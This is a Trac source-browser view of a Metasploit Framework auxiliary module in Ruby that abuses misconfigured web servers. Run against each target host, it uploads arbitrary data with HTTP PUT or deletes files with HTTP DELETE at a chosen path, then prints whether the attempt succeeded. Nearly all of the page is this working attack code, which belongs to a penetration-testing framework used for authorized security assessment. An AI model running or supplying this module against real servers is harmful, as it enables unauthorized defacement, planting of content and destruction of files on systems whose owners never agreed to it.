root/framework3/trunk/modules/auxiliary/scanner/http/writable.rb

Revision 4786, 2.5 kB (checked in by hdm, 1 year ago)

Merging minor changes to HTTP, adding NX support to landesk from NP

  • Property svn:keywords set to Rev Revision Id Header
Line 
1 ##
2 # $Id$
3 ##
4
5 ##
6 # This file is part of the Metasploit Framework and may be subject to
7 # redistribution and commercial restrictions. Please see the Metasploit
8 # Framework web site for more information on licensing and terms of use.
9 # http://metasploit.com/projects/Framework/
10 ##
11
12
13 require 'msf/core'
14
15 module Msf
16
17 class Auxiliary::Scanner::Http::Writable < Msf::Auxiliary
18        
19         # Exploit mixins should be called first
20         include Exploit::Remote::HttpClient
21        
22         # Scanner mixin should be near last
23         include Auxiliary::Scanner
24
25         def initialize
26                 super(
27                         'Name'        => 'HTTP Writable Path PUT/DELETE File Access',
28                         'Version'     => '$Revision$',
29                         'Description'    => %q{
30                                 This module can abuse misconfigured web servers to
31                         upload and delete web content via PUT and DELETE HTTP
32                         requests.
33                         },
34                         'Author'      => [ 'Kashif [at] compulife.com.pk' ],
35                         'License'     => BSD_LICENSE,
36                         'Actions'     =>
37                                 [
38                                         ['PUT'],
39                                         ['DELETE']
40                                 ],
41                         'DefaultAction' =>      'PUT'           
42                 )
43                
44                 register_options(
45                         [
46                                 OptString.new('PATH', [ true,  "The path to attempt to write or delete", '/http_write.txt']),
47                                 OptString.new('DATA', [ false,  "The data to upload into the file", ' '])
48                         ], self.class)
49         end
50
51         # Test a single host
52         def run_host(ip)
53
54                 self.target_port = datastore['RPORT']   
55
56                 case action.name
57                 when 'PUT'
58                         begin
59                                 res = send_request_cgi({
60                                         'uri'          =>  datastore['PATH'],
61                                         'method'       => 'PUT',
62                                         'ctype'        => 'text/plain',
63                                         'data'         => datastore['DATA']
64                                 }, 20)
65
66                                 return if not res
67                                 if (res and res.code >= 200 and res.code < 300)
68                                         print_status("Upload succeeded on http://#{target_host}:#{target_port}#{datastore['PATH']} [#{res.code}]")
69                                 else
70                                         print_status("Upload failed on http://#{target_host}:#{target_port} [#{res.code} #{res.message}]")
71                                 end
72
73                         rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
74                         rescue ::Timeout::Error, ::Errno::EPIPE                 
75                         end
76                        
77                 when 'DELETE'
78                         begin
79                                 res = send_request_cgi({
80                                         'uri'          => datastore['PATH'],
81                                         'method'       => 'DELETE'
82                                 }, 10)
83
84                                 return if not res
85                                 if (res and res.code >= 200 and res.code < 300)
86                                         print_status("Delete succeeded on http://#{target_host}:#{target_port}#{datastore['PATH']} [#{res.code}]")
87                                 else
88                                         print_status("Delete failed on http://#{target_host}:#{target_port} [#{res.code} #{res.message}]")
89                                 end
90
91                         rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
92                         rescue ::Timeout::Error, ::Errno::EPIPE                 
93                         end             
94                 end
95
96         end
97
98 end
99 end
Note: See TracBrowser for help on using the browser.